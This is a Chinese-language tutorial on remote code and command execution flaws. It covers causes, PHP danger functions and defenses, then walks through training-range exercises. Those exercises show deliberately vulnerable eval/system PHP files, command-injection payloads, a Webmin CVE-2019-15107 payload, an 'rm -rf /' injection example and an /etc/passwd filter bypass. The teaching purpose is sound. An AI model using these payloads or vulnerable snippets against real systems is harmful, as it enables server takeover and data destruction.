云计算百科
云计算领域专业知识百科平台

9_RCE漏洞利用与防御

网络安全是数字时代的基石,但学习过程中必须严守法律红线。‌ 根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于‌合法授权的靶场环境‌(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景。 网络安全学习应以提升防御能力为目标,而非成为攻击工具。

一、RCE漏洞基本概念与原理

RCE(Remote Code/Command Execution)漏洞即远程代码/命令执行漏洞,是Web应用中最严重的安全漏洞之一。这类漏洞允许攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统‌。

RCE漏洞主要分为两种类型:

  • ‌远程命令执行‌:攻击者可以执行任意操作系统命令
  • ‌远程代码执行‌:攻击者可以执行任意代码(如PHP、Java等)
  • 这类漏洞的产生通常是由于开发人员使用了能够将字符串作为代码或命令执行的函数,而没有对用户输入进行严格的验证和过滤‌。常见的漏洞触发点包括:

    • 未经验证的用户输入直接拼接系统命令
    • 使用不安全的函数(如PHP中的system()、exec()、eval()等)
    • 第三方组件或框架中存在未修复的代码执行漏洞

    二、RCE漏洞的常见利用方式

    1. 主要利用途径

    攻击者利用RCE漏洞通常通过以下方式:

    • ‌输入验证缺失‌:通过构造恶意输入绕过过滤
    • ‌不安全的函数调用‌:直接使用危险函数处理用户输入
    • ‌命令拼接逻辑错误‌:未考虑命令分隔符(如;、&&、|等)可能被注入
    • ‌协议解析错误‌:如Web服务对特定协议处理不当导致代码执行‌

    2. 典型攻击技术

    • ‌命令注入‌:在合法命令后追加恶意命令(如ping example.com; rm -rf /)
    • ‌代码注入‌:通过 eval 等函数执行恶意代码
    • ‌环境变量篡改‌:利用 $IFS 等环境变量绕过过滤
    • ‌通配符利用‌:使用/???/??t等价于cat /etc/passwd绕过黑名单
    • ‌无回显攻击‌:通过DNS外带数据或延时盲注验证漏洞存在‌

    3. 常见利用函数

    类型PHP函数示例说明
    命令执行 system(), exec(), shell_exec(), passthru(), popen() 直接执行系统命令
    代码执行 eval(), assert(), create_function(), call_user_func() 执行PHP代码
    反序列化 unserialize() 反序列化漏洞导致代码执行

    三、RCE漏洞防御措施

    1. 代码层防御

    • ‌输入验证‌:对所有用户输入进行严格验证,限制字符集
    • ‌输出编码‌:在将用户数据传递给系统命令前进行适当编码
    • ‌禁用危险函数‌:在php.ini中禁用 system、exec、eval 等函数
    • ‌使用安全API‌:如PHP中使用 escapeshellarg() 处理参数‌

    2. 系统层防御

    • ‌最小权限原则‌:应用程序运行时使用最低必要权限
    • ‌及时更新补丁‌:保持操作系统、框架和第三方组件最新
    • ‌网络隔离‌:限制不必要的网络访问和端口开放
    • ‌日志监控‌:记录异常命令执行行为并设置告警‌

    3. 架构设计防御

    • ‌沙箱环境‌:在隔离环境中执行不可信代码
    • ‌白名单机制‌:只允许执行预定义的安全命令
    • ‌深度防御‌:结合 WAF、IDS 等多层防护措施‌

    四、实例–远程代码执行

    准备文件 a.php 到PHP study的网站根目录下。代码:

    <?php
    $code=$_GET['x'];
    eval($code);
    ?>

    访问链接,并执行代码 phpinfo();

    http://localhost/a.php?x=phpinfo();

    在这里插入图片描述

    执行代码:echo time(); 显示时间戳

    http://localhost/a.php?x=echo time();

    在这里插入图片描述

    五、实例–远程命令执行

    准备文件 b.php 到PHP study的网站根目录下。代码:

    <?php
    $code=$_GET['x'];
    echo system($code);
    ?>

    执行 cmd 终端命令 dir

    http://localhost/b.php?x=dir

    在这里插入图片描述

    执行 cmd 终端命令 regedit 查看注册表

    在这里插入图片描述

    六、案例–公网漏洞利用

    网址:墨者学院

    前提:需要用手机注册

    1、实例–命令注入执行

    链接:https://www.mozhe.cn/bug/detail/12

    目标:获取mozhe开头的KEY

    1.)收集信息

    打开靶场,正确输入 127.0.0.1 看什么情况,顺便打开 开发者工具 看有什么有用信息

    在这里插入图片描述

    获取的信息包括:

    系统:ubuntu4.14

    服务中间件:Apache/2.4.7 (Ubuntu)

    编程语言:PHP/5.5.9 即 js 语言

    因为只有一个输入框,随便写个命令 : 127.0.0.1 | ls

    在这里插入图片描述

    有提示,但是上次的请求数据都没有变化,所以是前端提示,又是js语言编写的网页,所以,禁用前端 js 。再试,结果不变。需要使用 BurpSuite 抓包工具。

    2.)实施

    网站输入 127.0.0.1 抓包

    在这里插入图片描述

    红框里的内容是可以改的,发送到 Respeater 。

    先将 iipp=127.0.0.1 改为 iipp=127.0.0.1 | ls 然后点击发送

    在这里插入图片描述

    在响应中得到key文件 key_322103160614123.php

    继续改请求 iipp=127.0.0.1 | cat<key_322103160614123.php 然后发送

    在这里插入图片描述

    在响应框中得到了 key

    2、实例–PHP 代码分析

    链接:https://www.mozhe.cn/bug/detail/13

    目标:获取mozhe开头的KEY

    1.)收集信息

    打开靶场,获得以下信息

    在这里插入图片描述

    网页中的代码可交给 ai 看是什么情况

    <?php
    eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
    ?>

    代码结构包含三个主要函数:

    • base64_decode() 用于解码Base64编码的字符串
    • gzinflate() 对经过gzip压缩的数据进行解压缩
    • eval() 函数则执行解码解压后的PHP代码

    这种eval(gzinflate(base64_decode()))的组合是PHP代码加密的常见手法25。要查看实际代码内容,可以将eval替换为echo,这样就能输出解密后的原始代码而不是执行它。

    将以上代码进行更改,并保存到本地 PHP study 的网站根目录下,看运行结果。

    <?php
    echo(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
    ?>

    在这里插入图片描述

    继续将代码 交给 ai 来看看是怎么回事

    echo `$_REQUEST[a]`;; ?>

    **代码解释:**‌

    • echo:PHP输出语句,用于显示内容
    • 反引号 `:在PHP中执行系统命令的操作符(等同于shell_exec())
    • $_REQUEST['a']:获取HTTP请求参数’a’的值(包含GET、POST、COOKIE)
    • ;;:两个连续的分号,第一个结束echo语句,第二个是空语句
    • ?>:PHP结束标记

    至此找到了可以传递参数的变量节点,而且是可以执行Linux命令的地方

    2.)实施

    将原网站链接中添加参数 http://124.70.64.48:47358/f.php?a=ls

    在这里插入图片描述

    得到了疑似保存 KEY 的文件 key_261112628213739.php

    继续更改参数 http://124.70.64.48:47358/f.php?a=cat<key_261112628213739.php

    刷新后,查看源代码,获得 KEY

    在这里插入图片描述

    或者刷新前打开 BurpSuite 然后进行抓包,发送到 Repeater 查看响应内容,一样可以找到 KEY

    在这里插入图片描述

    3、实例–远程代码执行

    链接:https://www.mozhe.cn/bug/detail/309

    目标:获取mozhe开头的KEY

    1.)信息收集

    打开靶场,获得以下信息

    在这里插入图片描述

    中间件:MiniServ/1.910

    ​ MiniServ/1.910是Webmin的版本标识,常用于描述Webmin的特定版本

    X-Frame-Options: SAMEORIGIN

    ​ 响应头,限定页面只能被同源域名嵌套展示,有效防御点击劫持攻击

    特别注意:登录框中间有段话,你必须核对以下信息中的IP是否与登录的IP一致

    随便输入用户名和密码,使用 BurpSuite 抓包。然而并没有什么卵用。需要回头再看以下靶场信息

    背景上说明,该漏洞存在于密码重置页面中!!!

    通过网络搜索,MiniServ/1.910 存在漏洞 CVE-2019-15107

    CVE-2019-15107 漏洞介绍:

    ​ 该漏洞源于password_change.cgi文件对old参数缺少充分的输入验证,导致攻击者能够在未授权的情况下执行任意系统命令。

    Payload :user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

    2.)实施

    重新抓包,发送到 Repeater

    在这里插入图片描述

    改包

    在这里插入图片描述

    在这里插入图片描述

    点击发送看结果

    在这里插入图片描述

    获取了用户名和密码。都是root。

    然后继续更改包

    在这里插入图片描述

    发送后获得根目录下的文件,其中就有关键的key.txt

    在这里插入图片描述

    继续修改包,修改后发包

    在这里插入图片描述

    获得 KEY

    在这里插入图片描述

    七、文章总结和心得

    1、本文总结

    ​ 本文围绕RCE(远程代码/命令执行)漏洞展开,系统阐述了其概念、原理、利用方式、防御措施及实际案例。

    1. )漏洞基础

    ​ RCE漏洞分为远程命令执行和远程代码执行两类,核心成因是开发者对用户输入验证不足,或使用system()、eval()等危险函数,导致攻击者可注入恶意命令或代码。

    2. )利用方式
    • 主要途径:输入验证缺失、不安全函数调用、命令拼接错误、协议解析漏洞。
    • 典型技术:命令注入(如ping example.com; rm -rf /)、代码注入、环境变量篡改(如$IFS绕过过滤)、通配符利用(如/???/??t替代cat)、无回显攻击(DNS外带数据)。
    • 常见函数:PHP中system()、exec()等命令执行函数,eval()、unserialize()等代码执行函数。
    3.) 防御措施
    • 代码层:严格输入验证、输出编码、禁用危险函数(如php.ini中禁用eval)、使用安全API(如escapeshellarg())。
    • 系统层:最小权限原则、及时更新补丁、网络隔离、日志监控。
    • 架构层:沙箱环境、白名单机制、深度防御(结合WAF、IDS)。
    4. )实例与案例
    • 本地实验:通过a.php(eval函数)和b.php(system函数)演示远程代码/命令执行,如执行phpinfo()、dir命令。
    • 公网漏洞:以命令注入、PHP代码分析、CVE-2019-15107漏洞为例,展示通过BurpSuite抓包、构造Payload获取敏感信息(如KEY文件)的过程。

    2、心得

  • 风险意识:RCE漏洞危害极大,攻击者可直接控制服务器,需从开发源头重视输入验证和函数安全使用。
  • 防御体系:单一防御措施难以奏效,需结合代码审计、系统加固、架构隔离等多层防护,例如禁用危险函数的同时部署WAF监控异常请求。
  • 实战价值:案例分析表明,漏洞利用常依赖对目标环境的信息收集(如系统版本、中间件)和工具辅助(如BurpSuite),防御方需加强日志审计和应急响应能力。
  • 持续学习:第三方组件漏洞(如Webmin的CVE-2019-15107)提示需关注安全公告,及时更新补丁,避免“零日漏洞”被利用。
  • 通过本文学习,不仅需掌握RCE漏洞的技术原理,更需建立“攻防结合”的思维,在开发与运维中践行安全最佳实践。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 9_RCE漏洞利用与防御
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!